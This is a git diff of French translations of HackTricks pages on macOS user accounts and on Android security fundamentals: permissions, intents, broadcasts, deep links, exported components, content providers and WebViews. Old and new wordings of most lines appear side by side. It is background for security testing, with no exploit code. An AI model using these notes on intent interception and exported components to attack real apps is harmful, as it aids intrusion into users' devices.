* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
### Utilisateurs communs
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de malwares volant des informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Utilisateurs Courants
|
|
||||||
|
|
||||||
* **Daemon** : Utilisateur réservé aux démons système. Les noms de compte de démon par défaut commencent généralement par un "\_":
|
* **Daemon** : Utilisateur réservé aux démons système. Les noms de compte de démon par défaut commencent généralement par un "\_":
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||||
```
|
```
|
||||||
* **Invité** : Compte pour les invités avec des autorisations très strictes
|
* **Invité** : Compte pour les invités avec des permissions très strictes
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
* **Personne**: Les processus sont exécutés avec cet utilisateur lorsque des autorisations minimales sont requises
|
* **Personne** : Les processus sont exécutés avec cet utilisateur lorsque des permissions minimales sont requises
|
||||||
* **Root**
|
* **Root**
|
||||||
|
|
||||||
### Privilèges Utilisateur
|
### Privilèges Utilisateur
|
||||||
|
|
||||||
* **Utilisateur Standard**: Le plus basique des utilisateurs. Cet utilisateur a besoin d'autorisations accordées par un utilisateur administrateur lorsqu'il tente d'installer un logiciel ou d'effectuer d'autres tâches avancées. Ils ne peuvent pas le faire par eux-mêmes.
|
* **Utilisateur Standard :** L'utilisateur le plus basique. Cet utilisateur a besoin de permissions accordées par un utilisateur admin lorsqu'il tente d'installer des logiciels ou d'effectuer d'autres tâches avancées. Il ne peut pas le faire seul.
|
||||||
* **Utilisateur Admin**: Un utilisateur qui opère la plupart du temps en tant qu'utilisateur standard mais qui est également autorisé à effectuer des actions root telles que l'installation de logiciels et d'autres tâches administratives. Tous les utilisateurs appartenant au groupe admin **ont accès à root via le fichier sudoers**.
|
* **Utilisateur Admin** : Un utilisateur qui opère la plupart du temps en tant qu'utilisateur standard mais qui est également autorisé à effectuer des actions root telles que l'installation de logiciels et d'autres tâches administratives. Tous les utilisateurs appartenant au groupe admin ont **accès à root via le fichier sudoers**.
|
||||||
* **Root**: Root est un utilisateur autorisé à effectuer presque n'importe quelle action (il y a des limitations imposées par des protections comme la Protection de l'Intégrité du Système).
|
* **Root** : Root est un utilisateur autorisé à effectuer presque n'importe quelle action (il existe des limitations imposées par des protections comme la Protection de l'Intégrité du Système).
|
||||||
* Par exemple, root ne pourra pas placer un fichier à l'intérieur de `/System`
|
* Par exemple, root ne pourra pas placer un fichier dans `/System`
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Modèle de sécurité Android
|
## Modèle de sécurité Android
|
||||||
|
|
||||||
**Il y a deux couches :**
|
**Il y a deux couches :**
|
||||||
|
@ -46,14 +38,14 @@ Depuis Android 5.0(L), **SELinux** est appliqué. En gros, SELinux a refusé tou
|
||||||
|
|
||||||
### Permissions
|
### Permissions
|
||||||
|
|
||||||
Lorsque vous installez une **application et qu'elle demande des permissions**, l'application demande les permissions configurées dans les éléments **`uses-permission`** du fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de la permission demandée dans l'**attribut name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des permissions sur les versions supérieures à celle spécifiée.\
|
Lorsque vous installez une **application et qu'elle demande des permissions**, l'application demande les permissions configurées dans les éléments **`uses-permission`** du fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de la permission demandée dans l'**attribut name**. Il a également l'attribut **maxSdkVersion** qui arrête la demande de permissions sur les versions supérieures à celle spécifiée.\
|
||||||
Notez que les applications Android n'ont pas besoin de demander toutes les permissions au début, elles peuvent également **demander des permissions dynamiquement**, mais toutes les permissions doivent être **déclarées** dans le **manifest**.
|
Notez que les applications Android n'ont pas besoin de demander toutes les permissions au début, elles peuvent également **demander des permissions dynamiquement**, mais toutes les permissions doivent être **déclarées** dans le **manifest**.
|
||||||
|
|
||||||
Lorsqu'une application expose une fonctionnalité, elle peut limiter **l'accès uniquement aux applications ayant une permission spécifiée**.\
|
Lorsqu'une application expose une fonctionnalité, elle peut limiter **l'accès uniquement aux applications ayant une permission spécifiée**.\
|
||||||
Un élément de permission a trois attributs :
|
Un élément de permission a trois attributs :
|
||||||
|
|
||||||
* Le **nom** de la permission
|
* Le **nom** de la permission
|
||||||
* L'attribut **permission-group**, qui permet de regrouper des permissions liées.
|
* L'attribut **permission-group**, qui permet de regrouper des permissions connexes.
|
||||||
* Le **niveau de protection** qui indique comment les permissions sont accordées. Il existe quatre types :
|
* Le **niveau de protection** qui indique comment les permissions sont accordées. Il existe quatre types :
|
||||||
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur **n'est pas tenu de l'approuver**.
|
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur **n'est pas tenu de l'approuver**.
|
||||||
* **Dangerous** : Indique que la permission accorde à l'application demandeuse un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
|
* **Dangerous** : Indique que la permission accorde à l'application demandeuse un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
|
||||||
|
@ -115,7 +107,7 @@ Une fois un appareil rooté, n'importe quelle application pourrait demander un a
|
||||||
|
|
||||||
### **Dalvik & Smali**
|
### **Dalvik & Smali**
|
||||||
|
|
||||||
Dans le développement Android, **Java ou Kotlin** est utilisé pour créer des applications. Au lieu d'utiliser la JVM comme dans les applications de bureau, Android compile ce code en **bytecode exécutable Dalvik (DEX)**. Auparavant, la machine virtuelle Dalvik gérait ce bytecode, mais maintenant, l'Android Runtime (ART) prend le relais dans les versions Android plus récentes.
|
Dans le développement Android, **Java ou Kotlin** est utilisé pour créer des applications. Au lieu d'utiliser la JVM comme dans les applications de bureau, Android compile ce code en **bytecode Dalvik (DEX)**. Auparavant, la machine virtuelle Dalvik gérait ce bytecode, mais maintenant, l'Android Runtime (ART) prend le relais dans les versions Android plus récentes.
|
||||||
|
|
||||||
Pour l'ingénierie inverse, **Smali** devient crucial. C'est la version lisible par l'homme du bytecode DEX, agissant comme un langage d'assemblage en traduisant le code source en instructions de bytecode. Smali et baksmali font référence aux outils d'assemblage et de désassemblage dans ce contexte.
|
Pour l'ingénierie inverse, **Smali** devient crucial. C'est la version lisible par l'homme du bytecode DEX, agissant comme un langage d'assemblage en traduisant le code source en instructions de bytecode. Smali et baksmali font référence aux outils d'assemblage et de désassemblage dans ce contexte.
|
||||||
|
|
||||||
|
@ -124,9 +116,9 @@ Pour l'ingénierie inverse, **Smali** devient crucial. C'est la version lisible
|
||||||
Les intents sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre des applications ou des composants, similaire à la façon dont les requêtes GET/POST sont utilisées dans les communications HTTP.
|
Les intents sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre des applications ou des composants, similaire à la façon dont les requêtes GET/POST sont utilisées dans les communications HTTP.
|
||||||
|
|
||||||
Ainsi, un Intent est essentiellement un **message qui est passé entre des composants**. Les Intents **peuvent être dirigés** vers des composants ou des applications spécifiques, **ou peuvent être envoyés sans destinataire spécifique**.\
|
Ainsi, un Intent est essentiellement un **message qui est passé entre des composants**. Les Intents **peuvent être dirigés** vers des composants ou des applications spécifiques, **ou peuvent être envoyés sans destinataire spécifique**.\
|
||||||
Pour être simple, un Intent peut être utilisé :
|
Pour simplifier, un Intent peut être utilisé :
|
||||||
|
|
||||||
* Pour démarrer une activité, généralement en ouvrant une interface utilisateur pour une application
|
* Pour démarrer une activité, ouvrant généralement une interface utilisateur pour une application
|
||||||
* Comme des diffusions pour informer le système et les applications des changements
|
* Comme des diffusions pour informer le système et les applications des changements
|
||||||
* Pour démarrer, arrêter et communiquer avec un service en arrière-plan
|
* Pour démarrer, arrêter et communiquer avec un service en arrière-plan
|
||||||
* Pour accéder aux données via des ContentProviders
|
* Pour accéder aux données via des ContentProviders
|
||||||
|
@ -140,7 +132,7 @@ S'ils sont vulnérables, **les Intents peuvent être utilisés pour effectuer un
|
||||||
|
|
||||||
Les filtres d'intent sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intents spécifiques qui correspondent aux critères déclarés.
|
Les filtres d'intent sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intents spécifiques qui correspondent aux critères déclarés.
|
||||||
|
|
||||||
Un aspect critique des composants Android (activités/services/content providers/récepteurs de diffusion) est leur visibilité ou **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exported`** avec une valeur de **`true`** ou si un filtre d'intent est déclaré pour lui dans le manifeste. Cependant, il existe un moyen pour les développeurs de garder explicitement ces composants privés, garantissant qu'ils n'interagissent pas avec d'autres applications de manière non intentionnelle. Cela est réalisé en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
|
Un aspect critique des composants Android (activités/services/content providers/récepteurs de diffusion) est leur visibilité ou **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exported`** avec une valeur de **`true`** ou si un filtre d'intent est déclaré pour lui dans le manifest. Cependant, il existe un moyen pour les développeurs de garder explicitement ces composants privés, garantissant qu'ils n'interagissent pas avec d'autres applications de manière non intentionnelle. Cela se fait en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifest.
|
||||||
|
|
||||||
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des permissions spécifiques. L'attribut **`permission`** peut être défini pour imposer que seules les applications ayant la permission désignée puissent accéder au composant, ajoutant une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
|
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des permissions spécifiques. L'attribut **`permission`** peut être défini pour imposer que seules les applications ayant la permission désignée puissent accéder au composant, ajoutant une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
|
||||||
```java
|
```java
|
||||||
|
@ -150,7 +142,7 @@ De plus, les développeurs ont la possibilité de sécuriser davantage l'accès
|
||||||
```
|
```
|
||||||
### Intents implicites
|
### Intents implicites
|
||||||
|
|
||||||
Les intents sont créés de manière programmatique à l'aide d'un constructeur Intent :
|
Les intents sont créés programatiquement en utilisant un constructeur Intent :
|
||||||
```java
|
```java
|
||||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
```
|
```
|
||||||
|
@ -165,7 +157,7 @@ Cette intention doit être déclarée dans le manifeste comme dans l'exemple sui
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
Un intent-filter doit correspondre à l'**action**, **data** et **category** pour recevoir un message.
|
Un intent-filter doit correspondre à l'**action**, **données** et **catégorie** pour recevoir un message.
|
||||||
|
|
||||||
Le processus de "résolution d'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'**attribut de priorité**, qui peut être défini dans la **déclaration d'intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. Si un **conflit** survient, une fenêtre "choisir" apparaît afin que **l'utilisateur puisse décider**.
|
Le processus de "résolution d'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'**attribut de priorité**, qui peut être défini dans la **déclaration d'intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. Si un **conflit** survient, une fenêtre "choisir" apparaît afin que **l'utilisateur puisse décider**.
|
||||||
|
|
||||||
|
@ -191,7 +183,7 @@ Contrairement aux intents précédents, qui ne sont reçus que par une seule app
|
||||||
|
|
||||||
Il est également possible de **spécifier une autorisation lors de l'envoi de la diffusion**. L'application réceptrice devra avoir cette autorisation.
|
Il est également possible de **spécifier une autorisation lors de l'envoi de la diffusion**. L'application réceptrice devra avoir cette autorisation.
|
||||||
|
|
||||||
Il existe **deux types** de diffusions : **Normale** (asynchrone) et **Ordonnée** (synchrones). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou ignorer la diffusion.**
|
Il existe **deux types** de diffusions : **Normale** (asynchrone) et **Ordonnée** (synchronisée). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou ignorer la diffusion.**
|
||||||
|
|
||||||
Il est possible de **envoyer** une **diffusion** en utilisant la fonction `sendBroadcast(intent, receiverPermission)` de la classe `Context`.\
|
Il est possible de **envoyer** une **diffusion** en utilisant la fonction `sendBroadcast(intent, receiverPermission)` de la classe `Context`.\
|
||||||
Vous pouvez également utiliser la fonction **`sendBroadcast`** de **`LocalBroadCastManager`** qui garantit que le **message ne quitte jamais l'application**. Avec cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
|
Vous pouvez également utiliser la fonction **`sendBroadcast`** de **`LocalBroadCastManager`** qui garantit que le **message ne quitte jamais l'application**. Avec cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
|
||||||
|
@ -200,15 +192,15 @@ Vous pouvez également utiliser la fonction **`sendBroadcast`** de **`LocalBroad
|
||||||
|
|
||||||
Ce type de diffusions **peut être accessible longtemps après leur envoi**.\
|
Ce type de diffusions **peut être accessible longtemps après leur envoi**.\
|
||||||
Celles-ci ont été dépréciées au niveau API 21 et il est recommandé de **ne pas les utiliser**.\
|
Celles-ci ont été dépréciées au niveau API 21 et il est recommandé de **ne pas les utiliser**.\
|
||||||
**Elles permettent à n'importe quelle application d'intercepter les données, mais aussi de les modifier.**
|
**Elles permettent à n'importe quelle application de renifler les données, mais aussi de les modifier.**
|
||||||
|
|
||||||
Si vous trouvez des fonctions contenant le mot "sticky" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
|
Si vous trouvez des fonctions contenant le mot "sticky" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
|
||||||
|
|
||||||
## Deep links / URL schemes
|
## Deep links / URL schemes
|
||||||
|
|
||||||
Dans les applications Android, **les deep links** sont utilisés pour initier une action (Intent) directement via une URL. Cela se fait en déclarant un **schéma d'URL** spécifique dans une activité. Lorsqu'un appareil Android essaie d'**accéder à une URL avec ce schéma**, l'activité spécifiée dans l'application est lancée.
|
Dans les applications Android, les **deep links** sont utilisés pour initier une action (Intent) directement via une URL. Cela se fait en déclarant un **schéma d'URL** spécifique dans une activité. Lorsqu'un appareil Android essaie d'**accéder à une URL avec ce schéma**, l'activité spécifiée dans l'application est lancée.
|
||||||
|
|
||||||
Le schéma doit être déclaré dans le **`AndroidManifest.xml`** :
|
Le schéma doit être déclaré dans le fichier **`AndroidManifest.xml`** :
|
||||||
```xml
|
```xml
|
||||||
[...]
|
[...]
|
||||||
<activity android:name=".MyActivity">
|
<activity android:name=".MyActivity">
|
||||||
|
@ -266,7 +258,7 @@ L'**activité de lancement** est la principale porte d'entrée d'une application
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
Pas toutes les applications ont besoin d'une activité de lancement, en particulier celles sans interface utilisateur, comme les services en arrière-plan.
|
Toutes les applications n'ont pas besoin d'une activité de lancement, en particulier celles sans interface utilisateur, comme les services en arrière-plan.
|
||||||
|
|
||||||
Les activités peuvent être rendues disponibles à d'autres applications ou processus en les marquant comme "exportées" dans le manifeste. Ce paramètre permet à d'autres applications de démarrer cette activité :
|
Les activités peuvent être rendues disponibles à d'autres applications ou processus en les marquant comme "exportées" dans le manifeste. Ce paramètre permet à d'autres applications de démarrer cette activité :
|
||||||
```markdown
|
```markdown
|
||||||
|
@ -308,9 +300,9 @@ Une application intéressante des services inclut la lecture de musique en arri
|
||||||
|
|
||||||
**Les récepteurs de diffusion** agissent comme des écouteurs dans un système de messagerie, permettant à plusieurs applications de répondre aux mêmes messages du système. Une application peut **enregistrer un récepteur** de **deux manières principales** : via le **Manifest** de l'application ou **dynamiquement** dans le code de l'application via l'API **`registerReceiver`**. Dans le Manifest, les diffusions sont filtrées avec des permissions, tandis que les récepteurs enregistrés dynamiquement peuvent également spécifier des permissions lors de l'enregistrement.
|
**Les récepteurs de diffusion** agissent comme des écouteurs dans un système de messagerie, permettant à plusieurs applications de répondre aux mêmes messages du système. Une application peut **enregistrer un récepteur** de **deux manières principales** : via le **Manifest** de l'application ou **dynamiquement** dans le code de l'application via l'API **`registerReceiver`**. Dans le Manifest, les diffusions sont filtrées avec des permissions, tandis que les récepteurs enregistrés dynamiquement peuvent également spécifier des permissions lors de l'enregistrement.
|
||||||
|
|
||||||
**Les filtres d'intention** sont cruciaux dans les deux méthodes d'enregistrement, déterminant quelles diffusions déclenchent le récepteur. Une fois qu'une diffusion correspondante est envoyée, la méthode **`onReceive`** du récepteur est invoquée, permettant à l'application de réagir en conséquence, comme ajuster le comportement en réponse à une alerte de batterie faible.
|
Les **filtres d'intention** sont cruciaux dans les deux méthodes d'enregistrement, déterminant quelles diffusions déclenchent le récepteur. Une fois qu'une diffusion correspondante est envoyée, la méthode **`onReceive`** du récepteur est invoquée, permettant à l'application de réagir en conséquence, comme ajuster le comportement en réponse à une alerte de batterie faible.
|
||||||
|
|
||||||
Les diffusions peuvent être **asynchrones**, atteignant tous les récepteurs sans ordre, ou **synchrones**, où les récepteurs reçoivent la diffusion en fonction des priorités définies. Cependant, il est important de noter le risque de sécurité potentiel, car n'importe quelle application peut se prioriser pour intercepter une diffusion.
|
Les diffusions peuvent être **asynchrones**, atteignant tous les récepteurs sans ordre, ou **synchrones**, où les récepteurs reçoivent la diffusion en fonction des priorités définies. Cependant, il est important de noter le risque de sécurité potentiel, car toute application peut se prioriser pour intercepter une diffusion.
|
||||||
|
|
||||||
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** dans sa classe. Le code de cette méthode peut manipuler l'Intent reçu, soulignant la nécessité de validation des données par les récepteurs, en particulier dans les **Diffusions Ordonnées**, qui peuvent modifier ou supprimer l'Intent.
|
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** dans sa classe. Le code de cette méthode peut manipuler l'Intent reçu, soulignant la nécessité de validation des données par les récepteurs, en particulier dans les **Diffusions Ordonnées**, qui peuvent modifier ou supprimer l'Intent.
|
||||||
|
|
||||||
|
@ -318,7 +310,7 @@ Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`on
|
||||||
|
|
||||||
**Les Fournisseurs de Contenu** sont essentiels pour **partager des données structurées** entre les applications, soulignant l'importance de la mise en œuvre de **permissions** pour garantir la sécurité des données. Ils permettent aux applications d'accéder à des données provenant de diverses sources, y compris des bases de données, des systèmes de fichiers ou le web. Des permissions spécifiques, comme **`readPermission`** et **`writePermission`**, sont cruciales pour contrôler l'accès. De plus, un accès temporaire peut être accordé via les paramètres **`grantUriPermission`** dans le manifest de l'application, en utilisant des attributs tels que `path`, `pathPrefix` et `pathPattern` pour un contrôle d'accès détaillé.
|
**Les Fournisseurs de Contenu** sont essentiels pour **partager des données structurées** entre les applications, soulignant l'importance de la mise en œuvre de **permissions** pour garantir la sécurité des données. Ils permettent aux applications d'accéder à des données provenant de diverses sources, y compris des bases de données, des systèmes de fichiers ou le web. Des permissions spécifiques, comme **`readPermission`** et **`writePermission`**, sont cruciales pour contrôler l'accès. De plus, un accès temporaire peut être accordé via les paramètres **`grantUriPermission`** dans le manifest de l'application, en utilisant des attributs tels que `path`, `pathPrefix` et `pathPattern` pour un contrôle d'accès détaillé.
|
||||||
|
|
||||||
La validation des entrées est primordiale pour prévenir les vulnérabilités, telles que l'injection SQL. Les Fournisseurs de Contenu prennent en charge les opérations de base : `insert()`, `update()`, `delete()`, et `query()`, facilitant la manipulation et le partage des données entre les applications.
|
La validation des entrées est primordiale pour prévenir les vulnérabilités, telles que l'injection SQL. Les Fournisseurs de Contenu prennent en charge les opérations de base : `insert()`, `update()`, `delete()`, et `query()`, facilitant la manipulation et le partage de données entre les applications.
|
||||||
|
|
||||||
**FileProvider**, un Fournisseur de Contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, désignés par `android:exported` et `android:resource` pointant vers les configurations de dossier. Une prudence est conseillée lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
|
**FileProvider**, un Fournisseur de Contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, désignés par `android:exported` et `android:resource` pointant vers les configurations de dossier. Une prudence est conseillée lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
|
||||||
|
|
||||||
|
@ -344,7 +336,7 @@ Pour plus d'informations, consultez :
|
||||||
|
|
||||||
## WebViews
|
## WebViews
|
||||||
|
|
||||||
Les WebViews sont comme des **mini navigateurs web** à l'intérieur des applications Android, tirant du contenu soit du web, soit de fichiers locaux. Ils font face à des risques similaires à ceux des navigateurs classiques, mais il existe des moyens de **réduire ces risques** grâce à des **paramètres** spécifiques.
|
Les WebViews sont comme des **mini navigateurs web** à l'intérieur des applications Android, tirant du contenu soit du web, soit de fichiers locaux. Ils font face à des risques similaires à ceux des navigateurs réguliers, mais il existe des moyens de **réduire ces risques** grâce à des **paramètres** spécifiques.
|
||||||
|
|
||||||
Android propose deux types principaux de WebView :
|
Android propose deux types principaux de WebView :
|
||||||
|
|
||||||
|
@ -370,11 +362,11 @@ Pour contrôler l'accès aux fichiers :
|
||||||
|
|
||||||
### **Vérification des applications pour une sécurité renforcée**
|
### **Vérification des applications pour une sécurité renforcée**
|
||||||
|
|
||||||
- À partir d'**Android 4.2**, une fonctionnalité appelée **Vérifier les applications** permet aux utilisateurs de faire vérifier les applications pour leur sécurité avant l'installation. Ce **processus de vérification** peut avertir les utilisateurs contre des applications potentiellement nuisibles, ou même empêcher l'installation de celles particulièrement malveillantes, renforçant ainsi la sécurité des utilisateurs.
|
- À partir d'**Android 4.2**, une fonctionnalité appelée **Vérifier les applications** permet aux utilisateurs de faire vérifier les applications pour leur sécurité avant l'installation. Ce **processus de vérification** peut avertir les utilisateurs contre des applications potentiellement nuisibles, ou même empêcher l'installation de celles particulièrement malveillantes, renforçant la sécurité des utilisateurs.
|
||||||
|
|
||||||
### **Gestion des appareils mobiles (MDM)**
|
### **Gestion des appareils mobiles (MDM)**
|
||||||
|
|
||||||
